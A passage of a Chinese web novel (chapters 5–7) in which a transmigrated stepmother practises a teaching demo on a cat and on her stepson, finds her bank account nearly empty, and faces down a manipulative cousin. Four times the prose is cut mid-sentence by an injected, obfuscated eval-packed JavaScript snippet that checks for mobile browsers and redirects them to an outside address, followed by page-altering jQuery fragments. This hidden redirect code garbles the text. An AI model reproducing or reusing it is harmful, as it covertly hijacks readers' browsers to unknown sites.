金苒成功将自己说服,约好下次请王老师吃饭,然后果断从床上爬起来。 卧室旁边连着衣帽间,她穿过来的第一天就参观过。俗话说,瘦死的骆驼比马大,原身落魄之前是个大小姐,单衣服和包包就占据半数空间,如此显得另外一侧的西装少的可怜。 金苒边感慨,边挑选了一件较为日常的裙衫,期间她还看到了管家说的定制衣服,放在包装精美的礼盒中。 她随手拆开。 本以为是高定礼服,待看到里面薄薄的几片布料时,毫无准备的金苒疯狂咳嗽起来。 她脸色爆红,不可置信地看了看,又看了看,发现没有眼花! 原身定做的居然是贴身内衣! 还是特别清凉,特别的省布料的情/趣内衣! 饶是金苒见多识广,这会儿也像卡壳的机器似的,不知道该做出什么反应,正此时,有人在外面询问:“太太,厨房做好了饭,您现在要用餐吗?” 金苒吓了一跳,情急之下顺手将内衣塞到了衣柜中。 等她出去,佣人已经把做好的早餐端到桌子上。 准确来说是早午饭,但厨房的师傅们并不觉得麻烦,得到太太的赞扬,还感觉很高兴。 金苒也高兴,望着一道道广式餐点,脸上的热度渐渐退却。 旁的不说,江家请来的厨子手艺是真不错,牛肉肠粉,鱼片生滚粥,还有透明澄面皮包裹的虾饺,甜咸交织的叉烧包,一不小心又吃撑了。 饭后,摸着微微鼓起来的小腹,她深深叹一口气。 照这样毫无节制地吃下去,用不了几天,体重秤上的数字就得飙升。 看来抽空得把运动锻炼给提上日常。 不过今天就先算了。 金苒毫不心虚地又吃了一块餐后小甜点,不吃饱怎么能减肥呢?何况脑力劳动消耗热量,现在的她得为三天后的面试做准备! 说干就干,金苒补充完营养,来到二楼的书房。 这大概是江明羧的地盘,以白灰色调为主,陈设随性简单,左侧摆着一张宽敞柔软的真皮沙发,前后三排书架填满了各类专业书籍,外文居多,整体透着慵懒又会享受的气息。 金苒想起那位素未蒙面的便宜丈夫。 对方上学晚,却考上了W市最好的大学,头脑绝非一般的聪明。 当然自己也不差。 她可是全校第三的成绩考进985名校,常年位列母校明星榜第一页。金苒平静地收回视线,兀自打开电脑查资料。 信息时代,网络上相关视频很多,质量却是参差不齐,有的讲解含糊逻辑混乱,有的重点错漏毫无价值,她废了好大一番功夫进行删选,并用三个小时写出一份适合自己的教案。 接下来是模拟试讲。 这一点最为重要,金苒低头看着打印出来的A4纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281787|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑海中首先想的是管家他们的身影。 想象着管家、厨师、甚至园丁坐在教室里,一脸严肃地盯着她讲课的样子…… 连忙摇摇头,算了算了,她还是另想办法吧。 可办法不是那么容易想到的。 原身的列表里没有什么朋友,一时间真的找不到合适人选。 她纠结了好一会儿,最后叹了口气,准备先下楼倒杯水喝,远远看见管家抱着洗干净的猫从外面进来。 巴掌大小的猫咪,模样乖巧可爱,被人摸来摸去也不生气,尾巴翘得高高的,显得格外温顺。 比之叛逆期的学生听话多了。 金苒眼睛一闪,突然想到一个好办法! 因为惦记着家里的小猫,一放学,江许黎就和缠着看猫的陈训良一起回家。 路上,陈训良叽叽喳喳说个不停,话题从学校里的八卦一路扯到那只三花猫。江许黎被吵得耳朵疼,脚步不自觉地比平日里快了许多。好不容易到了别墅,两人四处搜寻,却没有找到三花猫的身影。 “猫呢?” 江许黎走到门口,询问路过的佣人。 那佣人正在摸鱼,没想到被少爷抓了个现行,吓得心跳险些骤停:“被、被太太抱走了。” 一旁的陈训良听到这话,立刻担忧道:“被你后妈带走了?我的天,她该不会是趁你不在家故意虐猫吧!” 不怪他有这样的揣测,实在是类似的事情黎哥的后妈没少做,陈训良很是担心自己那只软乎乎、毛茸茸的三花猫,会遭遇厄运。 江许黎没说话,但脸色明显沉了下来。 显然,也想到了这种可能性。 他没有犹豫,转身大步朝二楼的书房走去,身后的陈训良见状,担心兄弟会和后妈产生冲突,连忙跟上去。 刚到门口,里面便断断续续传出猫叫,那声音听到两个少年耳中,无疑是金苒虐猫的证据,江许黎面沉如水,想都没想直接踢门。 书房里,金苒正慷慨激昂地给猫咪上课。 “这位同学举手了,你来回答问题。” “这位同学跃跃欲试,等会儿你来回答问题。” “好,你们都答错了,由老师来讲解一下。” 她面带微笑,身体微微前倾,优雅得体的身体动作,仿佛面前真有一群学生在认真听讲。 更不用说,模拟试讲效果甚佳,从一开始的磕磕绊绊,到现在语言流畅,基本实现脱稿讲课,如果保持下去,金苒有信心在三天后的面试中脱颖而出。 这样想着,她捏起一枚小鱼干,准备奖励给大功臣三花猫…… “砰——” 身后突然传来一声的巨响,接近着,江许黎和陈训良从外面闯进来:“黎哥,她肯定是在……” 话音戛然而止,两人望着眼前的画面,齐齐发懵。 和想象中不同,傍晚的阳光透过窗棂,洒在静谧的房间里,站在沙发前的女人捏着鱼干,表情温柔地递向卧在那儿的猫咪。 只见那只三花猫馋得眯起眼,尾巴轻轻摆动,扫着数学课本的纸张哗啦啦。 好一副岁月静好图。 江许黎和陈训良不由得面面相觑。 额,难道是精神虐待? 5. 第 5 章 第5章 其实江许黎在踹门的那一刻,就开始后悔了。 仅有的,他和金苒打过几次交道,对方虽心怀鬼胎,但从未做过这般直给的蠢事。 等真正看到书房里的情况,他立刻明白是自己误会了。 细心逗弄猫咪的女人,身上流露出一种不同往日的温柔,当那双神采奕奕的眸子望过来时,仿佛能洞察江许黎内心所有的想法。 “请问,有事吗?” 金苒望着不速之客,挑了挑眉。 这会儿,她捏在指尖的鱼干已经被叼走,为了感谢,小猫亲昵地用脑袋蹭了蹭金苒的指尖,哪里看的出半分勉强? 江许黎只觉得尴尬极了。 下意识抿紧双唇,连带着眉目间透出几分提防,显得清俊的面庞越发帅气,和电视上的高冷校草似的。 一开口,倒是破了这份冷意:“我……咳,过来拿东西。” 说完之后,他庆幸自己临时想出一个靠谱的理由,并暗下决心坚决不暴露。 身后,陈训良跟着反应过来:“没错没错,我们来书房拿东西,阿姨你在做什么?” 一边问,一边好奇地偷看桌上的书籍,什么《五年高考三年模拟》《王后雄学案》《高中数学解题方法与技巧》,总感觉有点儿奇怪。 又想起两人刚闯进来的时候,黎哥的后妈好似正对着三花猫说话,总不能是在教猫读书吧? 陈训良被自己的想法逗笑。 现实中,也忍不住噗嗤笑出声,然后就收到了金苒的注视。 陈训良:“……” 金苒嘴角翘了翘。 成年人的拘谨只是对势均力敌的同龄人而言,当着佣人的面,她或许会不好意思试讲,但眼前的两人不过才十四五岁,最是中二的年纪。 无论从年龄还是阅历来说,都远远比不上被社会浸染过的金苒。 最重要的一点,如果她之后考进文承中学,以后教的学生大概率会和他们一般大。 思及此,金苒朝二人晃了晃书本:“我在看书,不过不太了解现在高中生的学习程度,你们两个来得正好。” “啊?” “啊什么啊,难道你不愿意帮我?”金苒故意作出伤心的样子。 陈训良很想说自己不愿意。 他在学校便是个上课睡觉,下课精神的差生,好不容易熬到放学,只想尽情玩乐,哪里愿意学习? 可黎哥的后妈道行实在深厚,她既没有威逼,也没有利诱,只用略显失望的眼神看过来,他便险些矢口答应。 临到头,还是对学习的恐惧拉回了点儿理智,陈训良这下不敢随便说话了,悄悄朝江许黎挤眉弄眼,期盼对方会拒绝。 然后就看到江许黎皱了皱眉,问:“需要做什么?” 陈训良:“?” 不是,黎哥什么时变得爱学习了? 江许黎只是单纯不想欠金苒什么。 事到如今,他爸的特助依旧未出现,对此只有一种猜想……那就是金苒根本没有和他爸联系。 这个认知让他微微诧异。 别看江许黎永远一副无所谓的态度,实际也曾渴望过父母的关注。 可惜每次的渴望,换来的只有他爸的无视和指责,久而久之,就麻木了。 这次,江许黎同样做好了被他爸训斥的准备,结果……无事发生。 仿佛蓄势待发的拳头,最后一拳打到棉花上,一时间,说不上来是什么心情。 憋闷得慌。 尤其现在,他两次先入为主误会对方。 少年年轻气盛,尚未养成成年人的油滑,内心冷漠又正义,对就是对,错就是错,绝对不会因为自己做错事情选择逃避。 所以即便金苒不提出要求,他也会找机会还了人情。 “放心好了。” 金苒温声道,“不是什么困难的事情,只需要你们帮我做一道题。” 说着,把A4纸塞到两人手中:“复合函数学了吧?这题是我出的,你们看能不能做出来。” 出乎意料的发展,江许黎顿了顿,垂下眸子,纸上果然写着一道题。 有点复杂,但不算难。 同样看到题目的陈训良却是两眼茫然,小声吐槽,“卧槽,我们学过这么难的东西吗?你后妈不会弄错了吧!” 文承中学的试卷通常由三个以上的老师共同商榷,黎哥后妈又不是老师,真的会出题吗?说不定是故意戏弄他们! 越想越觉得有可能,陈训良嘴巴絮絮叨叨,江许黎却没有搭理,看了几眼便拿起笔。 耳边传来夏日清脆的嗓音: “无论什么题目,都需要一步一步进行。第一步,我们先把f(x)看做整体,用已知代入函数得出具体结果,然后根据结果,推算数列……” 经过一下午的练习,金苒的试讲变得游刃有余。 甚至相比于一无所知的小猫,换成真·高中生后,她还可以随时调整教学。 比如看到陈训良迷茫的眼神,得出“讲解清晰度欠佳”的结论,于是果断更换解题思路。 五分钟后,陈训良眼皮开始打颤。 金苒得到反馈,又提高讲课音量,试图提醒对方。 十分钟后,陈训良越听越困,越听越困,最后成功被催眠,一个没注意,脑袋磕到了桌子上。 金苒:“……” 目睹这一切的江许黎不知为何,有些想笑。 笔杆在手指间打转,他漫不经心打量做完的题目。 其实这题出得很有水准,结合了复合函数和数列递推,需要转好几个弯,稍不留神就会调入陷阱。 他不认为她会费这么大功夫来戏弄他们。 另一边,金苒可不知道自己得到了认可。 面对状况百出的试讲,郁闷的同时,又生出一丝庆幸。 放在其他人眼中或许不能理解,但金苒便是如此,从不让自己陷入负面情绪。 状况百出何尝不是一种查缺补漏,她庆幸自己在面试前发现问题,还有机会改正。 想明白这一点,金苒不仅不生气,反而心平气和把人喊醒,在陈训良爆红的脸色中,耐着性子一句一句讲解。 终于半小时后,陈训良露出恍然大悟的表情。 “我知道了,题目虽然不一样,但用的都是同一个知识点,哎呀,我可真聪明!” 陈训良呵呵傻乐,原本天书似的数学题顿时变得眉目清新起来,他甚至有一种自己会做的错觉! 金苒她……理智保持了沉默。 只在小三花蹭过来的时候,摸了摸下巴以示表扬。 谁说猫不如人? 数学面前,人猫不分! 这样想着,金苒不由看向房间里的另一个人。 结果发现江许黎早就做完了。 对方用的是另外一种解题思路,但答案和她讲的一模一样。 这下金苒不仅仅是惊讶,还有一种伯乐识千里马的激动——没想到逃课撸.猫的江许黎居然是个好学生! 唔,仔细回忆了一番,好像小说中的确没有提及这一点。 也是,作为江明羧那种怪物的儿子,怎么可能是笨蛋呢。 金苒只是单纯感慨,放在旁人眼中,则是另外一番意味。 作为江许黎的好兄弟,陈训良亲眼目击黎哥后妈怀疑黎哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281788|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很是为黎哥抱不平。 忍了好一会儿,终是没忍住,悲愤出声:“阿姨,难道黎哥做错了?” 金苒回过神,摇了摇头:“没有错,不仅没错,答题思路还非常清晰!” “那你怎么不说话!” 不说话? 金苒这才察觉到少年语气的不对劲。 做老师的都喜欢聪明的学生,她第一次试讲就遇到江明羧,教学满足感大大提高。 这会儿听到质问,便不吝啬夸赞,朝着江许黎竖起大拇指:“你真是个大聪明!” 江许黎:“?” “咳,我的意思是你的脑子太稀奇,哦不,太有用了,只比我的智商低那么一点点!” 闻言,江许黎神情逐渐复杂。 他突然觉得,自己刚才升起的情绪有些多余。 “呵呵,时间不早了,要不我请你们吃饭吧。” 夸人的话夸到马腿上,金苒脸色微微红,干脆及时止损,生硬地转移话题。 早就饿死的陈训良眼睛一亮,张嘴要说什么,被江许黎拉住:“不用,我们出去吃。” 少年语气疏离,既然还了人情,没有必要再继续相处。 金苒并不强求:“那下次有空吧。” 众所周知,下次有空等于没有空。 不知道江许黎有没有听懂,他可有可无地点点头,离开的时候,不忘带上吃饱睡足的小三花。 / 送走两个高中生,金苒出门吃饭。 后天便是面试时间,原身的衣柜里却没有一件合适的正装,她打算吃完饭后顺便逛一逛街。 因为提前和管家打过招呼,小孙将上次的保时捷开了出来,坐上车后,两人直奔附近的一家商场。 夜幕降临,商场里人来人往,热闹喧嚷。入门的巨大屏幕播放一段广告,年轻帅气的爱豆团体跳着舞,笑容灿烂到让人目眩神迷,金苒不由得多看了几眼。 小孙见状,笑着说:“我嫂子家的小侄女最近正在追他们星呢,好像叫什么TUIR,太太也认识?” 金苒摇头,她不认识TUIR,但却知道女主的众多追求者中有一个富二代,就是TUIR的成员。 两人走的欢喜冤家路线,富二代为了让家境贫寒的女主出丑,故意给予女主一次参加国外活动的机会。 不料返程时,两人在机场被卷入械斗,危急时刻,女主将富二代推开,自己因此受了伤。 也是这次意外,富二代被女主的勇敢和善良打动,从此深深爱上了她。 算一算,大概就是最近的事情。 不过这和她没有多少关系。 金苒很快不再关注,让小孙自行活动,自己先找了一个地方吃晚饭,然后再去挑选正装。 付钱的时候,忽然想到一件事情——这些天她忙着考编、面试,居然忘记查看原身有多少资产。 钱不是万能的,但没有钱是万万不能的。 金苒心中抱着幻想,怎么说金家也是老牌豪门,应该留下不少积累。另外一方面,原身嫁的是江明羧,A市赫赫有名的商界奇才,夫妻共同财产不可计数。 上辈子是个穷人的金苒隐隐有些激动,她抬着颤抖的手,打开原身的各个账号。 等等,为什么存款只有三千块? 她瞪大眼睛,不死心,又来来回回加算了几次,最后那串数字也没有增多。 性格乐观开朗,从不陷入负面情绪的金苒笑呵呵表示:笑死,并不是很在乎别人的钱呢。 她只是单纯对江明羧的描述存在质疑。 科技新秀?商界奇才? ——假的!抠门小气鬼才是真吧! 6. 第 6 章 第6章 坐在病床上的江明羧刷到了金苒的朋友圈。 【钱包空空的感觉有点美妙】——配图一脸苦笑自拍图。 照片中的女人未施粉黛,乌黑的长发随意披散,柔顺地垂落在肩头,比起往常的烈焰红唇,看着更为清纯了些。 江明羧下意识摩挲指腹,面露沉思。 他想着对方改变的时间,正好是金家人在国外给他使绊子的日子,她不会以为换一种方式自己就会饶过金家?如果是这样,那她大概要失望了。 早在回国那日,他就让助理把证据移交国内,想必很快,那些人便被请去喝茶。 魏漠带着护士过来的时候,江明羧刚好打了个喷嚏,鼻头有些泛红。 他立刻走过去将窗户关上,无语道:“受了伤吹风,不要命了?” 江明羧看了他一眼,关掉手机:“没那么娇贵,比这重的伤又不是没有遇到过。” 甚至于,这次的袭击可以算他事业有成后遇到过最普通的一次。 金家的那几位还是少了点儿魄力,想要争夺他手中的东西,不说背水一战,却先像孩童似的试探一番,殊不知对敌人心软就是对自己心狠。 当然,如果敌人换成自己,江明羧就很是乐见其成了。 他甚至还有心情笑了笑,让属于正常人范围的魏漠起了一身鸡皮疙瘩。 不过好友的性子向来如此,做事果断决绝,对别人狠,对自己更狠。 说起来,两人是同一所大学毕业的,一个金融一个医学,大学期间从未见过面,反而毕业后因为创业的事情有了交集,一来二去,竟成了不错的朋友。 所以每次江明羧受伤,都要过来找他。 魏漠突然分不清是谁更命苦些,摆摆手让护士给江明羧检查伤口。 这人脾气虽倔,身体素质却是不错,手臂上的伤口已经愈合,想必用不了几天就会结痂。 他松了口气,等护士端着东西出门,还有闲心插科打诨:“金窝银窝不如自己的狗窝,你都在这住两天了,真不打算回家?再待下去,我们科室的护士快把这间病房当打卡景点了。” 江明羧刚换过药,脸色有些白,此刻上半身倚在床头,衬衫随意地敞着,露出大半健硕的胸膛。 闻言接话道:“哪个护士?擅离岗位可以开除。” “哦我忘了,你不仅无情,还是个资本主义做派周扒皮。”魏漠板着脸点评。 过了会儿,又问:“真不回去?小黎马上就要期末考试了,你这个当爹的不在身边,孩子心里肯定会觉得失落。” 江明羧无动于衷:“他不是小孩子。” 即便小孩时期,他也没有养过对方,大部分时间是保姆在照顾。 魏漠对江明羧以前的事情并不了解,听了他的话,无奈摇头:“就算小黎的学习不用你操心,可你不是刚结婚嘛,感情这东西总得靠相处来维系吧?要不让嫂子过来照顾你,省得你一个人在这儿冷冷清清的。” 好吧,他其实是好奇江明羧娶的妻子,协议联姻的事情除了江明羧和金家人,只有少数人知道,魏漠便是其中之一,自然听说了金二小姐和姐姐抢婚的大胆举动,可这些日子看下来,却发现和想象中的不太一样。 江明羧想起那个女人,表情变得意兴阑珊:“不用。” 却没有解释为何不用。 等魏漠离开后,江明羧打电话交代特助:“给金苒转笔钱过去。” 抛开其他不谈,无论如何,外人眼中她现在是他的妻子,总不能让人觉得他江明羧养不起女人。 / 商场里,金苒咬咬牙,到底一掷千金买下了衣服。 人靠衣装马靠鞍,原身的衣服好看是好看,但显得过于“时尚”,不适合老师的着装规范。 一套西装和衬衫,外加搭配的鞋子、首饰,一番奢侈消费,卡里余额只剩一千三百八十五元。 金苒只能庆幸后天就可以去学校面试,原本她还没有太大的雄心,想着不成功可以换家学校,眼下无论如何也得拿到这份工作了。 回到别墅,佣人正在收拾餐桌,金苒看见这一幕随口问了一句:“怎么做饭了?” 佣人笑着回答:“少爷和同学想吃油焖虾,正好今天厨房那边运过来了几框法国蓝龙虾,厨房就全给做了。” 金苒怔了怔,因为穿过来后一直是她独自住在别墅,几乎忘了便宜继子也是这里的主人,而前几日对方之所以不在家,好似是为了参加某个比赛。 现在比赛大概结束了,所以就回来了。 不过—— 说好的出去吃饭呢? 金苒表情变得古怪去来,毕竟是熟知客气规则的成年人,她很快想明白其中缘由,不由好笑地摇摇头。 为了和她这个后妈保持距离,故意谎称出门吃饭,实际吃的是厨房做的,并赶在她回来之前走人。 一想到那样的画面,忽然觉得少年人的口是心非有点儿可爱是怎么回事? 第二天,金苒没有睡懒觉,赶在太阳未升起前就早早起床。迎着微曦的朝霞,她盘腿坐在花园的草坪上,开始她的锻炼。 上辈子为了保持身形,特意在闲暇之余报了瑜伽班,虽然只上了三节课,但凭着模糊的记忆,她还是能磕磕绊绊地摆出了几个基础姿势。 就是身体未拉伸开,太僵硬,许多动作坐起来疼得她呲牙咧嘴。 以至于清晨被饿醒,偷偷下楼找吃食的江许黎以为误入凶杀现场,吓得差点儿叫救护车。 好险沉住了气。 他躲在窗户边观察了会儿,最终确认某人活蹦乱跳。 江许黎:“……” 少年嘴角控抽动,实在搞不明白金苒弄得哪一出,犹豫了零点零一秒钟,果断转身去厨房。 算了,和他没有关系。 因为时间尚早,别墅的厨师还未过来,江许黎懒得大张旗鼓,自己找了半天,才在冰箱里找到半包荞麦面包,然后拿着回了房间。 六点半,佣人们陆陆续续出现。 金苒也掩旗息鼓。 锻炼了半个小时,这会儿她的身上出了一层薄薄的汗。 在二楼洗了个热水澡,再出来,厨师已经将早餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281789|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端到桌子上。 除了一些日常早点、豆浆、米粥,还有昨天她没有吃到的油焖大虾。 见金苒奇怪,厨师师傅笑着解释:“蓝龙虾肉质鲜甜紧实,虾膏丰腴,通常用勃艮第红酒焖煮,佐以黑松露酱提香,味道最是鲜美,这是今天早上重新送来的,太太可以尝尝。” 金苒只是听着就觉得口水泛滥,迫不及待在熟悉的位置落座,等拿起筷子准备就餐时,她忽然想起现在的家里还有另外一个人。 于是又犹豫住了。 都说后妈难当,尤其原身前科累累,倘若不知道江许黎在家,她大可装作无事发生,继续吃她的油焖虾,可现在既然知道了,若是不管不问,会不会被当成恶毒后妈? 金苒思索片刻,决定还是得装装样子,她问管家:“只有我一个人吗?” 管家立刻心领神会:“今天周六,少爷大概没睡醒,要不然您先吃?” 话虽这样说,管家却觉得太太不会答应,毕竟太太平日对少爷关怀备至,连早餐的牛奶温度都要亲自过问,这次想必也会坚持等少爷一起用餐。 管家已经在脑海中预演待会儿若是母子争执起来,他该如何周旋调解,谁知下一秒,金苒点了点头,果真自己吃了起来。 这下换成管家犹豫了。 “……或者,我去问一问?” “哦,那你去吧。” 金苒头都没抬。 一只肥美的海虾,外壳轻轻剥掉,露出里面白嫩嫩Q弹的虾肉,入嘴后味道让人更加眼睛一亮。 有这样的美食补充营养,其他事情根本不值一提,她觉得自己待会儿能多做两套卷子! 金苒计划得很美好,然而人算不如天算。 这边她刚用完餐,别墅里就来了一个意想不到的人。 “苒苒你没事吧?” 来人长着一张瓜子脸,尖下巴,走路三步带喘,五步微颤,进门便拉住金苒的手,语气虽苛责,但神情充满担忧,“这几天你一直不回消息,我和家里人都很担心你。” 金苒却有些懵。 这人谁? 还是佣人称呼对方为金小姐,她才意识到眼前的病弱女人身份——原身大伯家的堂姐。 其实仔细看,两人眉眼间的确有些类似,不过堂姐金静气质柔弱,原身、或者说金苒给人的感觉更为明朗,像早晨八点的太阳,熠熠生辉。 金苒猜不透具体情况,毕竟这几天她一个电话也没有接到。 而且不知是不是错觉,她总感觉这个金静怪怪的,只能含糊道:“手机坏了。” 金静惊讶:“坏了怎么不买新的?” “比较忙。” 闻言,金静松了口气:“那就好,我还以为你那个继子……” 说到一半她忽然意识到自己说错话,连忙停下嘴,可那副欲言又止的表情比开口更让人想入非非。 至此,金苒终于确定不是自己的错觉,这位“堂姐”真的有问题。 她挑了挑眉,眼看周围佣人的视线若有若无飘过来,不仅不惧,反而直接问道:“我那个继子怎么了?” 7. 第 7 章 第7章 声音不大不小,恰好能让周围的佣人们听到。 有瓜! 于是原本还有些不好意思的佣人,这下子纷纷停驻脚步,一边手上胡乱忙着“工作”,一边竖起耳朵偷听。 金静愣了刹那,没料到金苒这个蠢货会直接问出来,险些没维持住小白花的角色。 她目光怀疑地打量了一眼自己这位堂妹,两人虽然是姐妹,但一个大房一个二房,关系其实一般。 她因为身子弱,从小跟着金老爷子住在老宅,金苒却是一直待在父母身边,以至被二叔二婶养坏了性子。 不仅粗野刁蛮,还爱抢自己的东西,小时候是玩具,大了是衣服包包化妆品,如今更是连她的联姻机会都要抢了去。 人便是这样,越得不到的东西越是在意。 金静几乎忘记,一开始的她对这场联姻是抗拒的。 昔日风光的金家面临破产危机,一夜之间墙倒众人推,金家人也仿佛过街老鼠,人人避之不及。 然而,很少有人知晓,金家手中还握着一处海外矿脉。 很少,不代表没有,金家手握奇珍却没有自保能力,如同稚子怀金过市,再好的东西也变成烫手山芋。 素有大智的金老爷子当即决定,用矿脉做筹谋为家族谋利。 至于送给谁,一来,这人得有能力、有魄力,二来,又不能太过厉害,彻底将金家压制。 挑来挑去,寒门出身的江明羧便成为最佳人选。 只是事情到了这里又遇到新麻烦——送东西容易,口头的保证却难以信服,金老爷子不敢赌,干脆打起了把孙女嫁给江明羧的主意。 金静跟在金老爷子身边,耳濡目染,自是知道其中内幕。 她抗拒极了被家族推出来当筹码,得知消息后,就思考要如何将自己摘出去,结果还未行动,彼时正在生病的金苒突然站出来,表示她愿意嫁给江明羧。 面对这样的结果,金静本来是应该是高兴的。 可不知为何,看到属于自己的机会被金苒抢去,她又开始耿耿于怀。 婚礼那天,她故意没有出现,以此来表达对联姻的不屑,后来从其他人口中得知江明羧全程态度冷淡,她甚至隐隐感到快藉。 自那之后,金静表面不再关注,实际一次次点开朋友圈视.奸金苒的生活。 商场那条她也看到了,心里怎么想的旁人无法得知,但她今天是专门过来打探情况的。 此刻,见女人一副理所当然的样子,金静心中暗骂不已。 表面依旧做出关切的姿态:“苒苒你怎么了,不是你之前抱怨小黎对你视而不见吗?” 她叹了口气,语气有些不认同:“其实小孩子比较傲娇,只要你付出真心,小黎一定会感受到的,而且我们是成年人,要学会包容宽恕,即便有什么不满意的地方,也不能和小孩子一般见……” 等等?! 金苒听不下去了,这什么世纪圣母!她没想到原身的姐姐看着年轻,居然是个资深娘道修行者! 按照对方的逻辑,江许黎接受她是她付出真心,不接受是不是还得赖她真心不诚? 金苒原本打算苟住马甲,猥琐发育,这会儿实在有些忍不住,果断打断对方的话,惊讶反问:“你在说什么啊?!” 比演技? 知道一个深造四年的师范生的表演欲望是多么可怕吗? 几乎是眨眼间,金苒那双明媚的眸子就沁出水波,眼泪含在眼眶中,却因为是亲近之人而强忍委屈:“大姐是不是误会了,小黎听话又乖巧,我和他一直相处的很好呀。” 三楼。 江许黎发誓,他真的只是听到管家敲门才出来看一眼的。 此时此刻,听着楼下那嗓音轻柔但句句清晰的夸赞往耳朵里飘,少年脚趾莫名地扒紧鞋底。 当然,他知道金苒不是真的夸他。 除了这两天他们不可避免有交集外,其他时间其实很少见面,即便遇见他也选择无视对方,实在谈不上“相处得好”。 所以这样违心的话,大概率是故意说给现场另外一个人的。 江许黎淡定下来,那些用词还是让他耳根发烫,但终于可以坦然听之。 他看向楼下的客人。 管家解释:“那是太太的大姐。” “表姐?” “是同祖父的堂姐。” 江许黎莫名,看那架势他还以为是仇人。 不过话说回来,既然是姐妹,怎么吵起来了呢? 同样莫名的还有站在金苒对面的金静。 她先是被金苒一反常态的话给搞迷惑,反应过来,心中顿生警惕。 她这个堂妹一向蠢笨,每次随随便便说几句对方就往坑里跳,怎么这次突然变聪明了? 而且她可没有冤枉她。 上次回家,金苒对着二叔二婶骂江许黎狼心狗肺,不识抬举,她在旁边听得一清二楚。 张张嘴,准备说点什么,那边金苒却不给她开口机会:“哎呀,许久不见,我都忘记了一件事,大姐有孩子吗?” 金静笑容陡然僵住,终于维持不住,脸色冷下来:“我是单身!” “这就对了!” 哪知金苒居然一拍双手,露出“被我猜中”的得意表情:“所以我才说大姐误会了,大姐没有孩子,不懂教育孩子的事情不能尽信书本,我问你,如果你有好东西,你会到处宣扬吗?” 闻言,金静下意识摇头。 她当然是偷偷藏起来,就像金家这次的事情,若非被人觊觎,何必需要和江明羧做交易? “巧了,那些家长和大姐想的一样!”金苒言之凿凿,她神情严肃,亭亭玉立站在那儿,让人不自觉想要信服,“家长说孩子闹腾,实际是夸孩子运动细胞发达,说孩子不理人,那是夸孩子注意力集中呢!” “小黎的注意力就非常集中,听说这样的孩子脑袋聪明,以后肯定能考上好大学,我这个当后妈的也能跟着享福。” 说到这,脸颊适时浮起两抹红晕,看得金静犹如吞了苍蝇,五官都扭曲在了一起。 是你孩子嘛你就跟着享福? 她觉得金苒八成疯了,还是疯的彻底的那种,得意什么!真以为嫁给江明羧就可以有恃无恐?不过是个后妈!等那孩子长大了,指不定就把家产去全部拿走,然后再让金苒净身出户滚出江家! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281790|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到那样的画面,金静心情重新舒畅:“呵呵,原来是这样,家里人只是太担心才误会了你的意思,苒苒你善解人意,千万别生气。” 金苒也笑:“没关系,怪我最近忙着shopping忘记和家里人联络感情,对了……”她话音一转,有些苦恼,“之前在家的时候,大家总夸江家好,我都不知道原来他们有那么多误会和不满,肯定是哪个小贱人在背后嚼舌根,大姐回去后一定记得解释清楚啊。” 说着还看了一眼对面的小贱人。 金静:“……” 她气得脸都白了,察觉到佣人们的视线,心里仿佛有一团火在烧,身子晃了晃,眼看着要往旁边晕倒。 可金苒早在知道她身份那一刻就防着这招,抬脚刚要后退,这时候,一团黑影“嗖”地扑过来。 “啊!老鼠!” 于是接下来,现场的人都见识到了一项医学奇迹。 原本摇摇晃晃的金静突然尖叫一声,一个箭步蹦到沙发上,哪里有半点病弱样? 见状,金苒差点笑死。 她弯腰把小三花抱起来,忍笑道:“大姐看错了,没有老鼠,这是一只猫。” 又说:“大姐身体不好就少出门,既然没事,就赶快回去吧,哦,别忘了和家里人解释清楚。” 金静几乎是狼狈离开。 而大获全胜的金苒,则收获了吃瓜佣人们敬佩的目光。 对此,金苒深藏功与名。 上辈子她大战熊孩子家长时,金静还不知道在哪个旮旯角蹲着呢。 不过今天的事给她敲响了一个警铃。 她没有原身的记忆,许多事情两眼摸黑,好事便算了,坏事只能被动应对。 金苒是个喜欢计划的j人,但不代表她不会变通。 